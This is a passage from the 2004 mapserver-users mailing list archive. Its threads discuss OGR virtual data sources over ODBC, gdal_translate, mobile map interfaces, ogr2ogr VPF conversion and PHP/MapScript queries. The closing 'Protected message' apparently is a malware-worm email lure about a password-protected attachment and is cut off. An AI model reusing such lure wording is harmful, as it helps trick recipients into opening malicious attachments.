sure where the problem lies. Is this command: > originfo virtual.ovf mylayer returning all of the contents of your db? We are looking at how to make this work with file DSNs so that special privileges are not required. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On May 27, 2004, at 2:56 PM, Jenu Abraham wrote: > hi Zac, > > *-i tried using the file dsn in win 2003 Small business Server-MS > -SQL... It didnt work with originfo > > *-I checked the mapserver.exe using the dependency walker > -------GDAL12.dll Product version version - N/A > ----------------------File ver - N/A > ---------------------Linker Ver- 6.0 > --------------------OS ver - 4.0 > -------------------Subsystem ver - 4.0 > > > Other thing u asked to check---- > > *-ogrinfo -ro config.ovf - > gave the output -- > VRT successful 1: mylayer > > *- ogrinfo -ro config.ovf mylayer > - gave the same output as with the command- originfo > virtual.ovf mylayer > > > hope this might help in figuring out where the problem lies.. > > > thanks > jenu > > _________________________________________________________________ > Best Restaurant Giveaway Ever! Vote for your favorites for a chance to > win $1 million! http://local.msn.com/special/giveaway.asp > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Zamil.Murji at divestco.com Thu May 27 13:36:40 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Thu, 27 May 2004 14:36:40 -0600 Subject: [Mapserver-users] How do I create a georeferenced tiff file... Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF53@DIV-MX02.divestco> Thanks Ethan, I'm very new to GDAL, so forgive me if i'm wrong, but isn't gdal_translate used to translate between GDAL formats? How is postgis a GDAL format? It doesn't appear in the list of formats that are supported by GDAL that you posted below... Thanks in advance, Zamil -----Original Message----- From: Ethan Alpert [mailto:ealpert at digitalglobe.com] Sent: Thursday, May 27, 2004 2:32 PM To: Zamil Murji; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How do I create a georeferenced tiff file... I think the tool you should use is gdal_translate. Usage: gdal_translate [--version] [-ot {Byte/Int16/UInt16/UInt32/Int32/Float32/Float64/ CInt16/CInt32/CFloat32/CFloat64}] [-not_strict] [-of format] [-b band] [-outsize xsize[%] ysize[%]] [-scale [src_min src_max [dst_min dst_max]]] [-srcwin xoff yoff xsize ysize] [-a_srs srs_def] [-projwin ulx uly lrx lry] [-co "NAME=VALUE"]* [-mo "META-TAG=VALUE"]* [-quiet] src_dataset dst_dataset GDAL 1.1.9.0, released 2003/06/27 The following format drivers are configured and support output: VRT: Virtual Raster GTiff: GeoTIFF NITF: National Imagery Transmission Format HFA: Erdas Imagine Images (.img) ELAS: ELAS AAIGrid: Arc/Info ASCII Grid DTED: DTED Elevation Raster PNG: Portable Network Graphics JPEG: JPEG JFIF MEM: In Memory Raster GIF: Graphics Interchange Format (.gif) BSB: Maptech BSB Nautical Charts XPM: X11 PixMap Format BMP: MS Windows Device Independent Bitmap PNM: Portable Pixmap Format (netpbm) ENVI: ENVI .hdr Labelled PAux: PCI .aux Labelled MFF: Atlantis MFF Raster MFF2: Atlantis MFF2 (HKV) Raster FIT: FIT Image -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Zamil Murji Sent: Thursday, May 27, 2004 1:35 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How do I create a georeferenced tiff file... Hello list, I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? Thanks for your help, Zamil _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ealpert at digitalglobe.com Thu May 27 13:32:09 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Thu, 27 May 2004 14:32:09 -0600 Subject: [Mapserver-users] How do I create a georeferenced tiff file... Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C3B@COMAIL01.digitalglobe.com> I think the tool you should use is gdal_translate. Usage: gdal_translate [--version] [-ot {Byte/Int16/UInt16/UInt32/Int32/Float32/Float64/ CInt16/CInt32/CFloat32/CFloat64}] [-not_strict] [-of format] [-b band] [-outsize xsize[%] ysize[%]] [-scale [src_min src_max [dst_min dst_max]]] [-srcwin xoff yoff xsize ysize] [-a_srs srs_def] [-projwin ulx uly lrx lry] [-co "NAME=VALUE"]* [-mo "META-TAG=VALUE"]* [-quiet] src_dataset dst_dataset GDAL 1.1.9.0, released 2003/06/27 The following format drivers are configured and support output: VRT: Virtual Raster GTiff: GeoTIFF NITF: National Imagery Transmission Format HFA: Erdas Imagine Images (.img) ELAS: ELAS AAIGrid: Arc/Info ASCII Grid DTED: DTED Elevation Raster PNG: Portable Network Graphics JPEG: JPEG JFIF MEM: In Memory Raster GIF: Graphics Interchange Format (.gif) BSB: Maptech BSB Nautical Charts XPM: X11 PixMap Format BMP: MS Windows Device Independent Bitmap PNM: Portable Pixmap Format (netpbm) ENVI: ENVI .hdr Labelled PAux: PCI .aux Labelled MFF: Atlantis MFF Raster MFF2: Atlantis MFF2 (HKV) Raster FIT: FIT Image -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Zamil Murji Sent: Thursday, May 27, 2004 1:35 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How do I create a georeferenced tiff file... Hello list, I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? Thanks for your help, Zamil _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jvanulde at nrcan.gc.ca Thu May 27 13:41:12 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Thu, 27 May 2004 16:41:12 -0400 Subject: [Mapserver-users] [mapserver]virtual spatial data Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B8974D@s5-van1-r1.ess.nrcan.gc.ca> Jenu, can you send me your ovf. Please remove any usernames and passwords. I have been doing this successfully with three different db's for the last few months and may be able to help you. Cheers, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: Jenu Abraham [mailto:jenu_ab at hotmail.com] Sent: Thursday, May 27, 2004 11:57 AM To: zak-ms at hoppsan.org Cc: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] [mapserver]virtual spatial data hi Zac, *-i tried using the file dsn in win 2003 Small business Server-MS -SQL... It didnt work with originfo *-I checked the mapserver.exe using the dependency walker -------GDAL12.dll Product version version - N/A ----------------------File ver - N/A ---------------------Linker Ver- 6.0 --------------------OS ver - 4.0 -------------------Subsystem ver - 4.0 Other thing u asked to check---- *-ogrinfo -ro config.ovf - gave the output -- VRT successful 1: mylayer *- ogrinfo -ro config.ovf mylayer - gave the same output as with the command- originfo virtual.ovf mylayer hope this might help in figuring out where the problem lies.. thanks jenu _________________________________________________________________ Best Restaurant Giveaway Ever! Vote for your favorites for a chance to win $1 million! http://local.msn.com/special/giveaway.asp _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From brian at entropy.net Thu May 27 14:23:27 2004 From: brian at entropy.net (Brian Russo) Date: Thu, 27 May 2004 17:23:27 -0400 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <88813E74-AED1-11D8-BF68-000A95CD537A@propertykey.com> References: <20040525175041.GU30798@badfish.securityminded.net> <40B41AC9.8080602@tamu.edu> <88813E74-AED1-11D8-BF68-000A95CD537A@propertykey.com> Message-ID: <20040527212327.GD20990@badfish.securityminded.net> At Tue, May 25, 2004 at 11:59:56PM -0500, Jeff Hoffmann wrote: > Not only the image, you really need to "think small" for the whole > application. I've used Perl/MapScript to create a couple of XHTML > sites for cell phones which works out great if the phones you're > interested in support them (most should by now) -- like Gerry said, > the images I used were 100x100 PNGs (I think JPGs work, too, but I > never tried) so they're pretty small, but big enough that they can be > useful. It takes a little playing around to get them to look good at > that size, but other than that, the rest is basically HTML. I > downloaded a phone emulator from Openwave to do development on (not > only does it speed things up quite a bit, but Openwave also provides > the browsers for a lot of the phones so you're pretty sure your work > will carry over to the actual phones). Right, I'm more concerned with the interface end of things than actually outputting wbmp/png/whatever. Would it be possible to see some of the stuff you've done? I'm mostly doing this in my head, I still have to find a machine to stick mapserver on. - bri -- Recursivity. Call back if it happens again. From brian at entropy.net Thu May 27 14:27:02 2004 From: brian at entropy.net (Brian Russo) Date: Thu, 27 May 2004 17:27:02 -0400 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C2C@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C2C@COMAIL01.digitalglobe.com> Message-ID: <20040527212702.GE20990@badfish.securityminded.net> At Tue, May 25, 2004 at 12:51:51PM -0600, Ethan Alpert wrote: > > > Funny you should ask this...I just got a Tungsten C and have been > planning on working a mapserver display for it. My first attempt to just > browse the variations of the itasca demo on it failed. My PDA does > support javascript so I thought I'd be find but there are some path > problems. For instance it's looking for the itasca_dhtml.html file in > /cgi-bin/ which is odd. > > Only had this thing a week but am planning on getting into it a bit more > as eventually there may be some PDA applications for my work. > > What have you tried? Nothing yet, still have to get a machine to stick mapserver on (I think I'll hijack an old p2 or something.. actually there's one next to me hrm..) Mostly I've been thinking about issues of interface, how the user will easily tell the mapserver where they are (GPS is rare++). Less concerned with mechanics of output. Have been thinking mostly about cellphones over PDAs and hence what the limitation vs capability tradeoff is in terms of supporting X% of phones. Right now I only have a t68i, which is certainly nothing stellar. But then I'm not too interested in something that will only target people with z600's, v600s, or whatever the latest and greatest is. - bri -- Recursivity. Call back if it happens again. From vaiod at berloy.com Thu May 27 14:38:51 2004 From: vaiod at berloy.com (Eric Katherman) Date: Thu, 27 May 2004 14:38:51 -0700 Subject: [Mapserver-users] SQL Data Message-ID: <200405271438.51102.vaiod@berloy.com> Okay... I have the basics of working with MS and PHP down to the point I can turn layers on and off as well as zoom in and out. I now need to know how I can take data from the dbf file and based on it's value display it differently then other records in the same dbf file... Scenario: I have a table that draws centerlines of streets and contains the street names. I can get the street names to display using labels and such but would like to control the display of the classification of streets. (e.g. major streets are B, minor are C, smaller then that are D etc...) How can I display the B streets when I am zoomed out closer to the extents and then display C and D when I zoom in? Is there a way to dump the data from this dbf file into a temporary table in MySQL and then query the DB to get that data back? Thanks, Eric From brian at entropy.net Thu May 27 14:30:42 2004 From: brian at entropy.net (Brian Russo) Date: Thu, 27 May 2004 17:30:42 -0400 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <40B42332.1000508@gritechnologies.com> References: <20040525175041.GU30798@badfish.securityminded.net> <40B42332.1000508@gritechnologies.com> Message-ID: <20040527213042.GF20990@badfish.securityminded.net> At Tue, May 25, 2004 at 11:55:14PM -0500, Bob Basques wrote: > I'm working on using MapServer on IPAQ for GPS Mapping and data collection. > > We're currently working on the GPS data collection and syncing of the > Mapserver mapping with GPS locations. > > The next steps will include Geocoding of Web Forms input as well as > Documents (photo images for the most part) retrieved from the remote > device. > > What are you interested in specifically? I want to create (initially) a simple vector-based platform that is viewable over a phone, where people can specify where they are, perhaps with geocoding, also thinking of some sort of fuzzy "near" functionality would be cool for major landmarks, and eventually something editable over the web (I think editable over phone is just impractical). Sorta like a geowiki thing I guess. cheers, -bri -- Recursivity. Call back if it happens again. From jenu_ab at hotmail.com Thu May 27 14:31:08 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Thu, 27 May 2004 16:31:08 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: Zac *-I'm running it under system DSN with administrative privileges *-originfo didnt work with ODBC text driver - i'm trying to figure out why- --its unable to initialize *-originfo virtual.ovf mylayer is returning all of the contents of our database another quirk- i would like to mention -though it may not be relevent before i used to have the latlong table in a database with other user tables- when i gave it the command "originfo ODBC:DSN" it showed only 1: some other table name in the database even though it showed that originfo had opened successfully using the ODBC driver successfully -----i'm wondering is there any default table issue associated with ODBC----????????? when i put "originfo ODBC:DSN latlong" it didn output the table results from latlong table even though it said open successful & using driver ODBC successful ---------------------- since then i have created a seperate new database with just the latlong table inside the db-- everything is working fine after that... just as it said in the virtual spatial data wiki -------------------------- appretiating the help u are providing cheers jenu >From: Zak James >To: "Jenu Abraham" >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] [mapserver]virtual spatial data >Date: Thu, 27 May 2004 16:23:22 -0400 > >Jenu, > >We were only able to get this to work using a system DSN or a user DSN >where the DSN owner had 'Power User' or administrative privileges. Ensure >that your DSN is set up properly and try using it from a variety of >accounts with different privileges. Were you able to test against the ODBC >text driver? > >Looks like your GDAL library is up to date, so assuming you're using >Mapserver 4.2 I'm not sure where the problem lies. > >Is this command: >>originfo virtual.ovf mylayer >returning all of the contents of your db? > >We are looking at how to make this work with file DSNs so that special >privileges are not required. > >zak >-- >Zak James >Applications and Software Development >DM Solutions Group Inc. >http://www.dmsolutions.ca >On May 27, 2004, at 2:56 PM, Jenu Abraham wrote: > >>hi Zac, >> >>*-i tried using the file dsn in win 2003 Small business Server-MS -SQL... >>It didnt work with originfo >> >>*-I checked the mapserver.exe using the dependency walker >>-------GDAL12.dll Product version version - N/A >>----------------------File ver - N/A >>---------------------Linker Ver- 6.0 >>--------------------OS ver - 4.0 >>-------------------Subsystem ver - 4.0 >> >> >>Other thing u asked to check---- >> >>*-ogrinfo -ro config.ovf - >> gave the output -- >>VRT successful 1: mylayer >> >>*- ogrinfo -ro config.ovf mylayer >> - gave the same output as with the command- originfo >>virtual.ovf mylayer >> >> >>hope this might help in figuring out where the problem lies.. >> >> >>thanks >>jenu >> >>_________________________________________________________________ >>Best Restaurant Giveaway Ever! Vote for your favorites for a chance to win >>$1 million! http://local.msn.com/special/giveaway.asp >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > _________________________________________________________________ Watch LIVE baseball games on your computer with MLB.TV, included with MSN Premium! http://join.msn.click-url.com/go/onm00200439ave/direct/01/ From jenu_ab at hotmail.com Thu May 27 14:55:35 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Thu, 27 May 2004 16:55:35 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: Van, my testing2.ovf file is -------------------------------------------------------- ODBC:DSN table wkbPoint WGS84 ------------------ the Layer object is --------------------- LAYER # start of truck position from database NAME trucks TYPE POINT CONNECTIONTYPE OGR CONNECTION "C:\cgi-bin\testing2.ovf" DATA "mylayer" STATUS DEFAULT PROJECTION "init=epsg:4326" END CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 END END # end of connection layer ------------------------- appretiate the help jenu _________________________________________________________________ Learn to simplify your finances and your life in Streamline Your Life from MSN Money. http://special.msn.com/money/0405streamline.armx From brian at entropy.net Thu May 27 14:57:27 2004 From: brian at entropy.net (Brian Russo) Date: Thu, 27 May 2004 17:57:27 -0400 Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 w/vpf In-Reply-To: <40B63BD2.8000605@pobox.com> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEED5@DUKE.city.whitehorse.yk.ca> <40B63BD2.8000605@pobox.com> Message-ID: <20040527215727.GH20990@badfish.securityminded.net> At Thu, May 27, 2004 at 03:04:50PM -0400, Frank Warmerdam wrote: > http://gdal.maptools.org/dl/openev/OpenEV_FW_174.zip > Thanks Frank, I installed openev 1.7 but couldn't find anything relevant to processing vector (it seems to all be raster stuff). I did grab ogdi 3.1.0 and gdal 1.15 for windows. I checked out the readme's, etc but probably need to rtfm, just not sure what to look at. This is where I currently am: F:\EWCArc\P-VMAP1>ogr2ogr polbnda-1125.shp f:\EWCArc\Raw-VMAP1\v1125\soamafr 'polbnda at bnd(*)_area' FAILURE: Unable to open datasource `f:\EWCArc\Raw-VMAP1\v1125\soamafr' with the following drivers. -> ESRI Shapefile -> UK .NTF -> SDTS -> TIGER -> IHO S-57 (ENC) -> MapInfo File -> DGN -> OGDI I'm guessing either it can't connect to OGDI (portmap/gltpd are running) or more likely I'm not giving the correct source_addr to ogr2ogr. thanks for your help, cheers, - bri -- Recursivity. Call back if it happens again. From jvanulde at nrcan.gc.ca Thu May 27 15:03:45 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Thu, 27 May 2004 18:03:45 -0400 Subject: [Mapserver-users] [mapserver]virtual spatial data Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89750@s5-van1-r1.ess.nrcan.gc.ca> Try doing something like the following in your mapfile: LAYER NAME OGRPoints TYPE POINT CONNECTIONTYPE OGR CONNECTION ' ODBC:user_name/password at system_dsn,table_name table_name wkbPoint WGS84 ' DUMP TRUE # for WFS only DATA "foo" # this must be the same as your OGRVRTLayer name STATUS default CLASS SYMBOL 'circle' SIZE 25 COLOR 255 0 0 END END ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: Chip Hankley [mailto:Chip.Hankley at rmtinc.com] Sent: Thursday, May 27, 2004 2:08 PM To: jvanulde at nrcan.gc.ca Subject: RE: [Mapserver-users] [mapserver]virtual spatial data I know you didn't ask, but... since I'm having the same problem. Works as expected when doing ogrinfo... but fails with MapServer (just like Jenu's... same error). chip >>> "Van Ulden, Joost" 05/27/04 03:41PM >>> Jenu, can you send me your ovf. Please remove any usernames and passwords. I have been doing this successfully with three different db's for the last few months and may be able to help you. Cheers, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: Jenu Abraham [mailto:jenu_ab at hotmail.com] Sent: Thursday, May 27, 2004 11:57 AM To: zak-ms at hoppsan.org Cc: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] [mapserver]virtual spatial data hi Zac, *-i tried using the file dsn in win 2003 Small business Server-MS -SQL... It didnt work with originfo *-I checked the mapserver.exe using the dependency walker -------GDAL12.dll Product version version - N/A ----------------------File ver - N/A ---------------------Linker Ver- 6.0 --------------------OS ver - 4.0 -------------------Subsystem ver - 4.0 Other thing u asked to check---- *-ogrinfo -ro config.ovf - gave the output -- VRT successful 1: mylayer *- ogrinfo -ro config.ovf mylayer - gave the same output as with the command- originfo virtual.ovf mylayer hope this might help in figuring out where the problem lies.. thanks jenu _________________________________________________________________ Best Restaurant Giveaway Ever! Vote for your favorites for a chance to win $1 million! http://local.msn.com/special/giveaway.asp _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ---------------------------------------------------------------------------- -- NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From thelen at ccgis.de Thu May 27 16:21:40 2004 From: thelen at ccgis.de (Benjamin Thelen) Date: Fri, 28 May 2004 01:21:40 +0200 (CEST) Subject: [Mapserver-users] ms 4.0.2 on Windows not running while ms 4.0.1 is running Message-ID: <40048.192.168.0.5.1085700100.squirrel@vogon.ccgis.de> Hi all, sorry for posting again. But as I had no response to my posting from 18.05., I just would like to ask, whether anybody has had difficulties getting ms 4.0.2 to run on Windows. I never had such a strange behavior before neither on Unix/Linux nor on Windows (Internal Server Error). ms 4.0.1 and earlier is running properly on Windows and 4.0.2 on Unix/Linux is running properly as well with the same map-files. I have no Idea what could be wrong! Thanks, Benjamin From NamnatSR at NV.DOE.GOV Thu May 27 17:40:55 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Thu, 27 May 2004 17:40:55 -0700 Subject: [Mapserver-users] Is this the right program for me? Message-ID: <89E34224EAFDD411B6AD0002A529187F207525@stl-exchpo1-nt.nv.doe.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-ebee4abd-9159-4bf0-8fe0-ccee1ad00a72 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C4444C.6FD43D00" Content-Transfer-Encoding: 7bit ------_=_NextPart_001_01C4444C.6FD43D00 Content-Type: text/plain Content-Transfer-Encoding: 7bit I'm still trying to determine if MapServer is the proper program for me to use... What I'm trying to do is this : I have a map of the world displayed on a website. I click on an area and display a zoomed in map of that area - Say I click on North America, I now see a map of North America on the screen... I proceed to click on the area I want, getting zoomed in maps of the areas. I finally click on San Francisco, California and now I want to download information files on San Francisco such as history of the city, city flag, city maps, yearly weather information, official bird, hotel information etc... The information I get for the user to download will be based on the Lat Long information I get from clicking on my map. All file information is stored in a database such as MySql or Sql. Can I do this using MapServer and PHP or is there a better program to use such as Grass or MapInfo for my purposes? Thanks very much for your answers.. - sharyn ------_=_NextPart_001_01C4444C.6FD43D00 Content-Type: text/html Content-Transfer-Encoding: 7bit

I'm still trying to determine if MapServer is the proper program for me to use... What I'm trying to do is this :

 

I have a map of the world displayed on a website. I click on an area and display a zoomed in map of that area - Say I click on North America, I now see a map of North America on the screen... I proceed to click on the area I want, getting zoomed in maps of the areas. I finally click on San Francisco, California and now I want to download information files on San Francisco such as history of the city, city flag, city maps, yearly weather information, official bird, hotel information etc...  The information I get for the user to download will be based on the Lat Long information I get from clicking on my map.  All file information is stored in a database such as MySql or Sql.

 

Can I do this using MapServer and PHP or is there a better program to use such as Grass or MapInfo for my purposes?

 

Thanks very much for your answers..

 

- sharyn

------_=_NextPart_001_01C4444C.6FD43D00-- ------=_NextPartTM-000-ebee4abd-9159-4bf0-8fe0-ccee1ad00a72-- From jvanulde at nrcan.gc.ca Thu May 27 18:05:27 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Thu, 27 May 2004 21:05:27 -0400 Subject: [Mapserver-users] Is this the right program for me? Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89751@s5-van1-r1.ess.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C4444F.2EB23E78 Content-Type: text/plain You can easily do this using PHP/MapScript or you can use the much simpler MapServer CGI with some creative Javascript/PHP or ASP or whatever. If you decide to go for it get MapServer up and running with some of your data and we can help you with the rest. Cheers, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ -----Original Message----- From: Namnath, Sharyn [mailto:NamnatSR at NV.DOE.GOV] Sent: Thursday, May 27, 2004 5:41 PM To: 'mapserver-users at lists.gis.umn.edu' Subject: [Mapserver-users] Is this the right program for me? I'm still trying to determine if MapServer is the proper program for me to use... What I'm trying to do is this : I have a map of the world displayed on a website. I click on an area and display a zoomed in map of that area - Say I click on North America, I now see a map of North America on the screen... I proceed to click on the area I want, getting zoomed in maps of the areas. I finally click on San Francisco, California and now I want to download information files on San Francisco such as history of the city, city flag, city maps, yearly weather information, official bird, hotel information etc... The information I get for the user to download will be based on the Lat Long information I get from clicking on my map. All file information is stored in a database such as MySql or Sql. Can I do this using MapServer and PHP or is there a better program to use such as Grass or MapInfo for my purposes? Thanks very much for your answers.. - sharyn ------_=_NextPart_001_01C4444F.2EB23E78 Content-Type: text/html Message
You can easily do this using PHP/MapScript or you can use the much simpler MapServer CGI with some creative Javascript/PHP or ASP or whatever.  If you decide to go for it get MapServer up and running with some of your data and we can help you with the rest.
 
Cheers,
 

============================================

Joost van Ulden

Programmer/Analyst

Natural Resources Canada / Ressources naturelles Canada

Geological Survey of Canada / Commission geologique du Canada

101 - 605 Robson Street / 101 - 605 rue Robson

Vancouver, B.C. / Vancouver (C.B.)

V6B 5J3

Office/Bureau:  604.666.7525

fax/telecopieur: 604.666.1124

jvanulde at nrcan.gc.ca

============================================

 

-----Original Message-----
From: Namnath, Sharyn [mailto:NamnatSR at NV.DOE.GOV]
Sent: Thursday, May 27, 2004 5:41 PM
To: 'mapserver-users at lists.gis.umn.edu'
Subject: [Mapserver-users] Is this the right program for me?

I'm still trying to determine if MapServer is the proper program for me to use... What I'm trying to do is this :

 

I have a map of the world displayed on a website. I click on an area and display a zoomed in map of that area - Say I click on North America, I now see a map of North America on the screen... I proceed to click on the area I want, getting zoomed in maps of the areas. I finally click on San Francisco, California and now I want to download information files on San Francisco such as history of the city, city flag, city maps, yearly weather information, official bird, hotel information etc...  The information I get for the user to download will be based on the Lat Long information I get from clicking on my map.  All file information is stored in a database such as MySql or Sql.

 

Can I do this using MapServer and PHP or is there a better program to use such as Grass or MapInfo for my purposes?

 

Thanks very much for your answers..

 

- sharyn

------_=_NextPart_001_01C4444F.2EB23E78-- From aaronkoning at shaw.ca Thu May 27 18:20:24 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Thu, 27 May 2004 18:20:24 -0700 Subject: [Mapserver-users] Is this the right program for me? Message-ID: >From what I've seen PHP mapscript and PHP are definitely the way to go for these types of applications. Using the mapscript querybypoint function (from the layerObj or mapObj) you can easily pull an id out of a predetermined field in a 'cities' layer. Then using PHP's easy to use database connection functions and the id from the layer you can query MYSQL and pull binary objects out and send them to the user, display the information through HTML, redirect them to another webpage, or whatever you can imagine. Aaron --------------------- I'm still trying to determine if MapServer is the proper program for me to use... What I'm trying to do is this : I have a map of the world displayed on a website. I click on an area and display a zoomed in map of that area - Say I click on North America, I now see a map of North America on the screen... I proceed to click on the area I want, getting zoomed in maps of the areas. I finally click on San Francisco, California and now I want to download information files on San Francisco such as history of the city, city flag, city maps, yearly weather information, official bird, hotel information etc... The information I get for the user to download will be based on the Lat Long information I get from clicking on my map. All file information is stored in a database such as MySql or Sql. Can I do this using MapServer and PHP or is there a better program to use such as Grass or MapInfo for my purposes? Thanks very much for your answers.. - sharyn From jeff at propertykey.com Thu May 27 18:36:40 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Thu, 27 May 2004 20:36:40 -0500 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <20040527212327.GD20990@badfish.securityminded.net> References: <20040525175041.GU30798@badfish.securityminded.net> <40B41AC9.8080602@tamu.edu> <88813E74-AED1-11D8-BF68-000A95CD537A@propertykey.com> <20040527212327.GD20990@badfish.securityminded.net> Message-ID: <77BC8869-B047-11D8-BF68-000A95CD537A@propertykey.com> On May 27, 2004, at 4:23 PM, Brian Russo wrote: > Right, I'm more concerned with the interface end of things than > actually > outputting wbmp/png/whatever. Would it be possible to see some of the > stuff > you've done? I'm mostly doing this in my head, I still have to find a > machine > to stick mapserver on. The only things that I've done for phones aren't publicly accessible (it contains MLS data and we're not allowed to show it to anyone that's not a member of our customer's boards). You can see a quick overview of one product with some simulated screenshots at http://www.propertykey.com/website/services/mobile/index.jsp The actual site is pretty simple from a programming perspective especially if you can target phones that support XHTML. One thing you'll need to think about is that it's hard to enter text on phones so things that require a lot of interaction can be a pain. If you have phones that only support WML, there's more of a learning curve and kind of a mental shift to a different type of page paradigm. Also, in my experience there's a lot of lag with phones so you want to think about whether to split pages so you're not scrolling forever if it's too long vs. making them too small and introducing a lot of frustration from the lag involved in having to jump from page to page too often. I don't know what other advice to give -- I think the best thing to do is to just jump in and get a feel for how different of a world it is. ps: Openwave is a great place to learn about creating web sites for phones. There's a lot of documentation there plus emulator software which makes things a lot easier. Also, I think all providers have free developer sites that will give you more information about specific phones, sdks, forums, etc. We focused on Sprint phones & they have good developer info. -- Jeff Hoffmann jeff at propertykey.com From TMitchell at lignum.com Thu May 27 19:48:34 2004 From: TMitchell at lignum.com (TMitchell) Date: Thu, 27 May 2004 20:48:34 -0600 Subject: [Mapserver-users] Protected message Message-ID: ----------urtqviiztmnqozqxdzzl Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
For security purposes the attached file is password protected. Password --

